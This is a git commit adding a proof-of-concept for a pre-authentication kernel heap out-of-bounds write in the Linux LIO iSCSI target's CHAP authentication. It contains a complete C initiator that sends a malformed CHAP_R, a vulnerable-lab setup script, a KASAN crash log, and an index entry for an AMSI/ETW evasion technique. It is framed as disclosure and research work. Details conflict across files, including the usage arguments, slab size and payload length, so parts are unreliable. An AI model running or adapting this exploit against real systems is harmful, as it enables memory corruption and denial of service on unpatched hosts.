add iscsi-chap-base64-oob — independent rediscovery PoC

Companion artifact for https://trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/

Sanitised reproducer for the Linux LIO iSCSI target CHAP BASE64 OOB
write, fixed upstream as commit 85db7391310b. Found independently
2026-05-05 but never shipped; ahossu sent the canonical fix.

Layout: poc/iscsi_chap_overflow.c (initiator that walks the Login
state machine and sends malformed CHAP_R = base64(96 bytes)),
lab/setup_iscsi.sh (LIO target config with CHAP+MD5),
logs/KASAN-vulnerable.log (example trace, build identifiers redacted).

OPSEC: author strings + workspace paths + customer references all
scrubbed before publication.

MIT-licensed (see root LICENSE).
This commit is contained in:
SixSixSix
2026-06-02 02:54:51 +00:00
parent c976b9f152
commit d2391a4e83
5 changed files with 564 additions and 0 deletions
+1
View File
@@ -13,6 +13,7 @@ time; older entries are not rewritten unless the upstream fix changes shape.
|---|---|---|---|
| [`cifs-smb2-read-overflow/`](./cifs-smb2-read-overflow) | Linux kernel — cifs / SMB2 client | Patched upstream (`81a8742`), AUTOSEL'd to stable 2026-05-20 | [u32 + u32 = 0 is still a bug in 2026](https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/) |
| [`patchless-amsi-bypass/`](./patchless-amsi-bypass) | Windows — in-process AMSI/ETW evasion | Reference port, public technique | [Patchless AMSI Bypass via Hardware Breakpoints](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/) |
| [`iscsi-chap-base64-oob/`](./iscsi-chap-base64-oob) | Linux kernel — LIO iSCSI target CHAP auth | Patched upstream (`85db7391310b`), AUTOSEL'd to stable 2026-05-25 | [Found the same iSCSI CHAP base64 overflow 25 days early](https://trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/) |
## License
+119
View File
@@ -0,0 +1,119 @@
# iscsi-chap-base64-oob
Reproducer for the Linux LIO iSCSI target's CHAP `BASE64`-branch heap
out-of-bounds write, fixed upstream as commit `85db7391310b`
("scsi: target: iscsi: bound BASE64 CHAP_R input to digest size") on
the `7.1/scsi-fixes` queue and AUTOSEL'd to stable on 2026-05-25.
Companion writeup:
**[trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/](https://trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/)**
The canonical write-up of the bug itself is on **ahossu's blog**:
<https://ahossu.ro/blog/iscsi-chap-base64-overflow>.
This repository entry exists because I found the same bug independently
on 2026-05-05, had the same fix shape ready by 2026-05-12, but never
sent it upstream. ahossu shipped first; the credit is theirs. The
walkthrough in the blog post above explains what I learned about review
cadence; this directory is the reproducer I built.
## The bug, in one paragraph
`drivers/target/iscsi/iscsi_target_auth.c::chap_server_compute_hash()`
decodes the attacker-controlled `CHAP_R` BASE64 string into a
`kzalloc(chap->digest_size)` buffer. The decoder writes one byte per
four input chars **with no destination-size argument**, and the
post-decode length check fires after the write. A 128-char `CHAP_R`
BASE64 decodes to 96 bytes; with MD5 (`digest_size = 16`) that's
80 bytes of attacker-chosen out-of-bounds write into kmalloc-16,
pre-auth, one TCP connection.
## Layout
```
poc/iscsi_chap_overflow.c malicious initiator — sends the malformed Login sequence
lab/setup_iscsi.sh LIO target configuration (CHAP enabled, MD5)
logs/KASAN-vulnerable.log example KASAN trace (redacted build identifiers)
```
## Building and running the PoC
Dependencies on the host:
- `gcc` (any version)
- A Linux box on the same network as the target, or `localhost` for a QEMU lab
Build:
```bash
cc -O2 -o iscsi_chap_overflow poc/iscsi_chap_overflow.c
```
Run against a target you own:
```bash
./iscsi_chap_overflow <target-ip> <chap-username>
```
The PoC walks the iSCSI Login state machine through CSG=0
SecurityNegotiation, sends `AuthMethod=CHAP`, then the malformed
`CHAP_R = base64(96 bytes)`. The target's kernel hits the OOB write on
the unauth side of the digest comparison.
## Setting up a vulnerable lab target
`lab/setup_iscsi.sh` configures `targetcli` to expose a single demo-mode
LUN with CHAP authentication enabled (MD5, default `digest_size = 16`).
Run it inside a guest:
```bash
sudo bash lab/setup_iscsi.sh
```
Then the malicious initiator from the host:
```bash
./iscsi_chap_overflow 192.0.2.42 testuser
```
Expected on the **vulnerable** guest: a KASAN slab-out-of-bounds report
matching the structure in `logs/KASAN-vulnerable.log` — write of size 1
into the kmalloc-16 region from `chap_base64_decode`.
Expected on a **patched** guest (kernel containing commit
`85db7391310b` or its stable backport): the iSCSI Login fails cleanly
with `"Malformed CHAP_R: BASE64 input too long"` and no KASAN report.
## What the fix looks like
The patch is a single hunk in `chap_server_compute_hash()`:
```diff
case BASE64:
+ if (strlen(chap_r) >
+ DIV_ROUND_UP(chap->digest_size * 4, 3)) {
+ pr_err("Malformed CHAP_R: BASE64 input too long\n");
+ goto out;
+ }
if (chap_base64_decode(client_digest, chap_r, strlen(chap_r)) !=
chap->digest_size) {
pr_err("Malformed CHAP_R: invalid BASE64\n");
goto out;
}
break;
```
`DIV_ROUND_UP(digest_size * 4, 3)` is the maximum BASE64 input length
that can decode to `digest_size` bytes. For MD5 (16) that's 22 chars.
Anything longer is by definition malformed.
## Scope and intent
Authorised security research and education only. The PoC exists to
make a public, upstream-fixed kernel bug verifiable for defenders and
curious readers. **Do not point it at targets you do not own or have
written permission to test.**
## License
MIT — see [`../LICENSE`](../LICENSE) at the repository root.
+46
View File
@@ -0,0 +1,46 @@
#!/bin/sh
# K-CHAP setup — LIO target with CHAP authentication required
set -x
LUN_FILE=/tmp/lun.img
dd if=/dev/zero of=$LUN_FILE bs=1M count=10 2>&1
TGT_FILEIO=/sys/kernel/config/target/core/fileio_0/lun0
mkdir -p $TGT_FILEIO
echo "fd_dev_name=$LUN_FILE,fd_dev_size=$((10 * 1024 * 1024))" > $TGT_FILEIO/control
echo 0 > $TGT_FILEIO/attrib/emulate_tpu 2>&1
echo 1 > $TGT_FILEIO/enable
IQN_TGT=iqn.2026-05.local.poc:tgt0
TPG=/sys/kernel/config/target/iscsi/$IQN_TGT/tpgt_1
mkdir -p $TPG
# Disable demo-mode, REQUIRE auth (CHAP)
echo 0 > $TPG/attrib/demo_mode_write_protect
echo 0 > $TPG/attrib/generate_node_acls
echo 0 > $TPG/attrib/cache_dynamic_acls
echo 1 > $TPG/attrib/authentication
echo 0 > $TPG/attrib/default_cmdsn_depth 2>&1
# Map LUN to TPG
mkdir -p $TPG/lun/lun_0
ln -s /sys/kernel/config/target/core/fileio_0/lun0 $TPG/lun/lun_0/iscsi_lun
# Real ACL for the initiator IQN with CHAP creds.
# Attacker doesn't need correct creds — the OOB write happens in
# chap_base64_decode BEFORE the digest memcmp.
INI_IQN=iqn.2026.local.poc:01
ACL=$TPG/acls/$INI_IQN
mkdir -p $ACL
mkdir -p $ACL/lun_0
ln -s /sys/kernel/config/target/core/fileio_0/lun0 $ACL/lun_0/lun
printf 'testuser' > $ACL/auth/userid
printf 'Password0123456' > $ACL/auth/password
# Portal MUST come before TPG enable
mkdir -p $TPG/np/0.0.0.0:3260
echo 1 > $TPG/enable
echo "[setup_iscsi] iSCSI target ready (CHAP REQUIRED)"
echo "auth=$(cat $TPG/attrib/authentication)"
echo "ACL: $(ls $TPG/acls/)"
@@ -0,0 +1,101 @@
[ 32.888732] BUG: KASAN: slab-out-of-bounds in chap_base64_decode+0x4b/0x120
[ 32.889692] Write of size 1 at addr ffff888107e1e930 by task kworker/1:2/72
[ 32.889956]
[ 32.890698] CPU: 1 UID: 0 PID: 72 Comm: kworker/1:2 Not tainted 7.0.0+ #1 PREEMPT(lazy)
[ 32.890971] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014
[ 32.891205] Workqueue: events iscsi_target_do_login_rx
[ 32.892075] Call Trace:
[ 32.892190] <TASK>
[ 32.892320] dump_stack_lvl+0x5d/0x80
[ 32.892460] print_report+0x170/0x4de
[ 32.892521] ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[ 32.892584] ? __virt_addr_valid+0x11e/0x1d0
[ 32.892651] kasan_report+0xda/0x110
[ 32.892706] ? chap_base64_decode+0x4b/0x120
[ 32.892770] ? chap_base64_decode+0x4b/0x120
[ 32.892849] chap_base64_decode+0x4b/0x120
[ 32.892921] chap_server_compute_hash.isra.0+0x8df/0xaa0
[ 32.892991] ? __pfx_chap_server_compute_hash.isra.0+0x10/0x10
[ 32.893064] ? stack_trace_save+0x93/0xd0
[ 32.893111] ? filter_irq_stacks+0x24/0x60
[ 32.893157] ? stack_depot_save_flags+0x28/0x910
[ 32.893241] ? kthread+0x1b4/0x200
[ 32.893283] ? ret_from_fork+0x3e7/0x4f0
[ 32.893335] ? ret_from_fork_asm+0x1a/0x30
[ 32.893465] ? iscsi_decode_text_input+0x8ff/0xb10
[ 32.893534] chap_main_loop+0x148/0x6b0
[ 32.893583] ? __pfx_iscsi_decode_text_input+0x10/0x10
[ 32.893645] ? __pfx_chap_main_loop+0x10/0x10
[ 32.893697] ? memcmp+0x45/0xb0
[ 32.893750] iscsi_target_do_login+0x7cb/0x930
[ 32.893816] ? __pfx_iscsi_target_do_login+0x10/0x10
[ 32.893876] ? _raw_write_lock_bh+0x87/0xe0
[ 32.893923] ? __pfx__raw_write_lock_bh+0x10/0x10
[ 32.893981] iscsi_target_do_login_rx+0x3df/0x5a0
[ 32.894050] process_one_work+0x38c/0x6c0
[ 32.894116] ? assign_work+0xc6/0x180
[ 32.894167] worker_thread+0x321/0x590
[ 32.894232] ? __pfx_worker_thread+0x10/0x10
[ 32.894282] kthread+0x1b4/0x200
[ 32.894326] ? __pfx_kthread+0x10/0x10
[ 32.894373] ret_from_fork+0x3e7/0x4f0
[ 32.894428] ? __pfx_ret_from_fork+0x10/0x10
[ 32.894482] ? native_load_gs_index+0x2e/0x50
[ 32.894560] ? __switch_to+0x238/0x630
[ 32.894635] ? __switch_to_asm+0x33/0x70
[ 32.894691] ? __pfx_kthread+0x10/0x10
[ 32.894738] ? __pfx_kthread+0x10/0x10
[ 32.894788] ret_from_fork_asm+0x1a/0x30
[ 32.894923] </TASK>
[ 32.895032]
[ 32.899887] Allocated by task 72:
[ 32.900132] kasan_save_stack+0x30/0x50
[ 32.900363] kasan_save_track+0x14/0x30
[ 32.900503] __kasan_kmalloc+0x9a/0xb0
[ 32.900637] __kmalloc_noprof+0x1f1/0x620
[ 32.900777] chap_server_compute_hash.isra.0+0x16f/0xaa0
[ 32.900949] chap_main_loop+0x148/0x6b0
[ 32.901143] iscsi_target_do_login+0x7cb/0x930
[ 32.901340] iscsi_target_do_login_rx+0x3df/0x5a0
[ 32.901520] process_one_work+0x38c/0x6c0
[ 32.901671] worker_thread+0x321/0x590
[ 32.901811] kthread+0x1b4/0x200
[ 32.901942] ret_from_fork+0x3e7/0x4f0
[ 32.902079] ret_from_fork_asm+0x1a/0x30
[ 32.902241]
[ 32.902367] The buggy address belongs to the object at ffff888107e1e920
[ 32.902367] which belongs to the cache kmalloc-16 of size 16
[ 32.902692] The buggy address is located 0 bytes to the right of
[ 32.902692] allocated 16-byte region [ffff888107e1e920, ffff888107e1e930)
[ 32.903011]
[ 32.905156] The buggy address belongs to the physical page:
[ 32.905665] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x107e1e
[ 32.906022] flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff)
[ 32.906658] page_type: f5(slab)
[ 32.907731] raw: 0017ffffc0000000 ffff888100041640 dead000000000100 dead000000000122
[ 32.908063] raw: 0000000000000000 0000000800800080 00000000f5000000 0000000000000000
[ 32.908387] page dumped because: kasan: bad access detected
[ 32.908551]
[ 32.908631] Memory state around the buggy address:
[ 32.908956] ffff888107e1e800: fc fc fc fc fa fb fc fc fa fb fc fc fc fc fc fc
[ 32.913286] ffff888107e1e880: fc fc fc fc fc fc fc fc 00 02 fc fc fa fb fc fc
[ 32.913502] >ffff888107e1e900: fa fb fc fc 00 00 fc fc fc fc fc fc 00 06 fc fc
[ 32.913699] ^
[ 32.913906] ffff888107e1e980: 00 00 fc fc fc fc fc fc 00 00 fc fc 00 07 fc fc
[ 32.914118] ffff888107e1ea00: fc fc fc fc fc fc fc fc 00 00 fc fc 00 07 fc fc
[ 32.914377] ==================================================================
[ 32.915030] Disabling lock debugging due to kernel taint
[ 32.915502] Malformed CHAP_R: invalid BASE64
[ 32.916279] Security negotiation failed.
[ 32.919940] iSCSI Login negotiation failed.
[K-CHAP] got 48 bytes back
23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 00 00 00 00 00 00 00 00 00
+ EXIT=0
+ echo '[init] poc exit=0'
[init] poc exit=0
+ sleep 3
+ echo '===== DMESG TAIL (last 250 lines) ====='
===== DMESG TAIL (last 250 lines) =====
+ dmesg
+ tail -250
[ 21.788896] eql: Equalizer2002: Simon Janes (simon@ncm.com) and David S. Miller (davem@redhat.com)
@@ -0,0 +1,297 @@
/*
* ISCSI-CHAP-OOB PoC — pre-auth heap OOB write in iscsi_target_auth.c
*
* Triggers chap_base64_decode(client_digest, chap_r, strlen(chap_r))
* with strlen(chap_r) >> chap->digest_size, causing kernel-heap OOB write
* into a kmalloc(digest_size) buffer (slab kmalloc-32 for MD5/SHA-256).
*
* Build: gcc -O2 -static -o poc-kchap poc-kchap.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#define ITT_BASE 0x00010001
/* Login PDU BHS layout (RFC 7143 §11.12.1)
* byte 0: opcode = 0x03 (Login Request) | (immediate? 0x40)
* byte 1: flags = T(0x80) | C(0x40) | (CSG<<2) | NSG
* byte 2: Version-max (0)
* byte 3: Version-min (0)
* byte 4: TotalAHSLength = 0
* bytes 5-7: DataSegmentLength (3 bytes BE)
* bytes 8-13: ISID (6 bytes)
* bytes 14-15: TSIH (0 first time)
* bytes 16-19: ITT (Initiator Task Tag)
* bytes 20-21: CID (1)
* bytes 22-23: reserved
* bytes 24-27: CmdSN
* bytes 28-31: ExpStatSN
* bytes 32-47: reserved
*/
static int sock_send(int s, const void *buf, size_t n) {
const char *p = buf;
while (n) {
ssize_t r = send(s, p, n, 0);
if (r <= 0) return -1;
p += r; n -= r;
}
return 0;
}
/* Read exactly want bytes; return bytes actually read. */
static int sock_recv_exact(int s, void *buf, size_t want, int timeout_sec) {
struct timeval tv = { .tv_sec = timeout_sec, .tv_usec = 0 };
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
char *p = buf;
size_t n = want;
while (n) {
ssize_t r = recv(s, p, n, 0);
if (r <= 0) return p - (char*)buf;
p += r; n -= r;
}
return want;
}
/* Build a Login PDU body (text params separated by NUL).
* Returns total bytes copied (before alignment padding).
*/
static size_t build_text(unsigned char *out, size_t cap,
const char **kvs, int n_kvs)
{
size_t off = 0;
for (int i = 0; i < n_kvs; i++) {
size_t l = strlen(kvs[i]);
if (off + l + 1 > cap) return 0;
memcpy(out + off, kvs[i], l);
out[off + l] = '\0';
off += l + 1;
}
return off;
}
/* Send a Login Request with the given text body and stage flags.
* tsih: 0 for first PDU, then echo target's tsih.
* itt: initiator task tag
* Returns 0 on success, -1 on send fail.
*/
static int send_login(int s, unsigned char csg, unsigned char nsg,
int transit, int cont, uint16_t tsih, uint32_t itt,
uint32_t cmdsn, uint32_t expstatsn,
const unsigned char *text, size_t text_len,
const unsigned char *isid)
{
unsigned char hdr[48];
memset(hdr, 0, 48);
hdr[0] = 0x03 | 0x40; /* Login | Immediate */
hdr[1] = (transit ? 0x80 : 0) | (cont ? 0x40 : 0)
| ((csg & 3) << 2) | (nsg & 3);
hdr[2] = 0; /* Version-max */
hdr[3] = 0; /* Version-min */
hdr[4] = 0; /* TotalAHSLength */
hdr[5] = (text_len >> 16) & 0xff;
hdr[6] = (text_len >> 8) & 0xff;
hdr[7] = text_len & 0xff;
memcpy(hdr + 8, isid, 6);
hdr[14] = (tsih >> 8) & 0xff;
hdr[15] = tsih & 0xff;
hdr[16] = (itt >> 24) & 0xff;
hdr[17] = (itt >> 16) & 0xff;
hdr[18] = (itt >> 8) & 0xff;
hdr[19] = itt & 0xff;
/* CID = 1 */
hdr[20] = 0x00; hdr[21] = 0x01;
hdr[24] = (cmdsn >> 24) & 0xff;
hdr[25] = (cmdsn >> 16) & 0xff;
hdr[26] = (cmdsn >> 8) & 0xff;
hdr[27] = cmdsn & 0xff;
hdr[28] = (expstatsn >> 24) & 0xff;
hdr[29] = (expstatsn >> 16) & 0xff;
hdr[30] = (expstatsn >> 8) & 0xff;
hdr[31] = expstatsn & 0xff;
if (sock_send(s, hdr, 48) < 0) return -1;
if (text_len) {
if (sock_send(s, text, text_len) < 0) return -1;
size_t pad = (4 - (text_len % 4)) % 4;
if (pad) {
unsigned char zero[4] = {0};
if (sock_send(s, zero, pad) < 0) return -1;
}
}
return 0;
}
/* Receive a Login Response, return DSL or -1 on error.
* resp_out gets the BHS (48) + DSL bytes (caller buffer big enough).
* tsih_out: TSIH from BHS (echo back on next request).
*/
static int recv_login(int s, unsigned char *resp_out, size_t cap,
uint16_t *tsih_out)
{
int n = sock_recv_exact(s, resp_out, 48, 5);
if (n < 48) return -1;
int dsl = (resp_out[5] << 16) | (resp_out[6] << 8) | resp_out[7];
int pad = (4 - (dsl % 4)) % 4;
if (dsl > 0) {
if ((size_t)(48 + dsl + pad) > cap) return -1;
sock_recv_exact(s, resp_out + 48, dsl + pad, 5);
}
*tsih_out = (resp_out[14] << 8) | resp_out[15];
return dsl;
}
/* Parse a single key from the response data segment. Returns pointer
* inside resp_out body, or NULL. */
static const char *find_key(const unsigned char *body, int dsl,
const char *key)
{
int klen = strlen(key);
int i = 0;
while (i < dsl) {
const char *cur = (const char *)body + i;
int rem = dsl - i;
int slen = strnlen(cur, rem);
if (slen >= klen + 1 &&
!memcmp(cur, key, klen) && cur[klen] == '=') {
return cur + klen + 1;
}
i += slen + 1;
}
return NULL;
}
static void dump_text(const unsigned char *body, int dsl)
{
for (int i = 0; i < dsl && i < 1024; i++) {
unsigned char c = body[i];
if (c == 0) printf(" | ");
else if (c >= 0x20 && c < 0x7f) printf("%c", c);
else printf("\\x%02x", c);
}
printf("\n");
}
int main(int argc, char **argv)
{
const char *target_ip = (argc > 1) ? argv[1] : "127.0.0.1";
int port = (argc > 2) ? atoi(argv[2]) : 3260;
printf("[ISCSI-CHAP-OOB] connecting to %s:%d\n", target_ip, port);
int s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) { perror("socket"); return 1; }
struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(port) };
if (inet_pton(AF_INET, target_ip, &sa.sin_addr) != 1) return 1;
if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
perror("connect"); return 1;
}
printf("[ISCSI-CHAP-OOB] connected\n");
unsigned char isid[6] = { 0x00, 0x02, 0x3d, 0x01, 0x00, 0x00 };
uint16_t tsih = 0;
uint32_t itt = ITT_BASE;
uint32_t cmdsn = 0, expstatsn = 0;
unsigned char rsp[4096];
unsigned char text[2048];
/* === Login PDU 1: stage 0 (SecurityNegotiation), declare AuthMethod=CHAP === */
const char *kv1[] = {
"InitiatorName=iqn.2026.local.poc:01",
"TargetName=iqn.2026-05.local.poc:tgt0",
"SessionType=Normal",
"AuthMethod=CHAP",
};
size_t tlen = build_text(text, sizeof(text), kv1, 4);
/* CSG=0 (Security), NSG=1 (Operational), no Transit yet — wait for AuthMethod ack */
if (send_login(s, 0, 1, 0, 0, tsih, itt, cmdsn, expstatsn, text, tlen, isid) < 0) {
perror("send login1"); return 1;
}
printf("[ISCSI-CHAP-OOB] sent login1 (security stage, AuthMethod=CHAP)\n");
int dsl = recv_login(s, rsp, sizeof(rsp), &tsih);
if (dsl < 0) { fprintf(stderr, "no rsp1\n"); return 1; }
expstatsn = ((rsp[24]<<24)|(rsp[25]<<16)|(rsp[26]<<8)|rsp[27]) + 1;
printf("[ISCSI-CHAP-OOB] rsp1 sclass=%d sdetail=%d dsl=%d tsih=0x%04x\n",
rsp[36], rsp[37], dsl, tsih);
printf("[ISCSI-CHAP-OOB] rsp1 text: "); dump_text(rsp + 48, dsl);
if (rsp[36] != 0) { fprintf(stderr, "login1 failed\n"); return 1; }
/* === Login PDU 2: declare CHAP_A=5 (MD5) === */
const char *kv2[] = {
"CHAP_A=5",
};
tlen = build_text(text, sizeof(text), kv2, 1);
if (send_login(s, 0, 1, 0, 0, tsih, itt, cmdsn, expstatsn, text, tlen, isid) < 0) {
perror("send login2"); return 1;
}
printf("[ISCSI-CHAP-OOB] sent login2 (CHAP_A=5 MD5)\n");
dsl = recv_login(s, rsp, sizeof(rsp), &tsih);
if (dsl < 0) { fprintf(stderr, "no rsp2\n"); return 1; }
expstatsn = ((rsp[24]<<24)|(rsp[25]<<16)|(rsp[26]<<8)|rsp[27]) + 1;
printf("[ISCSI-CHAP-OOB] rsp2 sclass=%d sdetail=%d dsl=%d\n",
rsp[36], rsp[37], dsl);
printf("[ISCSI-CHAP-OOB] rsp2 text: "); dump_text(rsp + 48, dsl);
if (rsp[36] != 0) { fprintf(stderr, "login2 failed\n"); return 1; }
const char *chap_a = find_key(rsp + 48, dsl, "CHAP_A");
const char *chap_i = find_key(rsp + 48, dsl, "CHAP_I");
const char *chap_c = find_key(rsp + 48, dsl, "CHAP_C");
if (!chap_a || !chap_i || !chap_c) {
fprintf(stderr, "[ISCSI-CHAP-OOB] missing CHAP_A/I/C in rsp2\n");
return 1;
}
printf("[ISCSI-CHAP-OOB] target challenged: CHAP_A=%s CHAP_I=%s\n", chap_a, chap_i);
/* === Login PDU 3: TRIGGER — CHAP_R with oversized BASE64 ===
*
* CHAP_R BASE64 path: chap_base64_decode(client_digest, chap_r, strlen)
* client_digest = kzalloc(chap->digest_size) = kmalloc(16) for MD5 → kmalloc-32 slab
* extract_param accepts CHAP_R up to MAX_RESPONSE_LENGTH (128 chars incl NUL).
* With strlen(chap_r) = 124 we decode 124*6/8 = 93 bytes into a 16-byte buffer
* → 77 bytes OOB write, content fully attacker-controlled.
*
* Format must be "0b<base64>" so the parser tags it as BASE64 (not HEX).
* Use a 124-char base64 string of all 'A' (decodes to all 0x00); KASAN will
* flag the OOB write regardless of decoded content.
*/
char base64_payload[125];
memset(base64_payload, 'A', 124);
base64_payload[124] = '\0';
char chap_n_kv[256], chap_r_kv[256];
snprintf(chap_n_kv, sizeof(chap_n_kv), "CHAP_N=testuser");
snprintf(chap_r_kv, sizeof(chap_r_kv), "CHAP_R=0b%s", base64_payload);
const char *kv3[] = { chap_n_kv, chap_r_kv };
tlen = build_text(text, sizeof(text), kv3, 2);
/* Transit to Operational */
if (send_login(s, 0, 1, 1, 0, tsih, itt, cmdsn, expstatsn, text, tlen, isid) < 0) {
perror("send login3 (trigger)"); return 1;
}
printf("[ISCSI-CHAP-OOB] sent login3 — TRIGGER (CHAP_R 0b + 124 base64 chars)\n");
printf("[ISCSI-CHAP-OOB] payload: %s\n", chap_r_kv);
/* Read whatever comes back (probably nothing if KASAN panicked). */
sleep(2);
int n = sock_recv_exact(s, rsp, 256, 4);
if (n <= 0) {
printf("[ISCSI-CHAP-OOB] connection broken — likely kernel KASAN/oops: %s\n",
strerror(errno));
} else {
printf("[ISCSI-CHAP-OOB] got %d bytes back\n", n);
for (int i = 0; i < n; i++) printf("%02x ", rsp[i]);
printf("\n");
}
close(s);
return 0;
}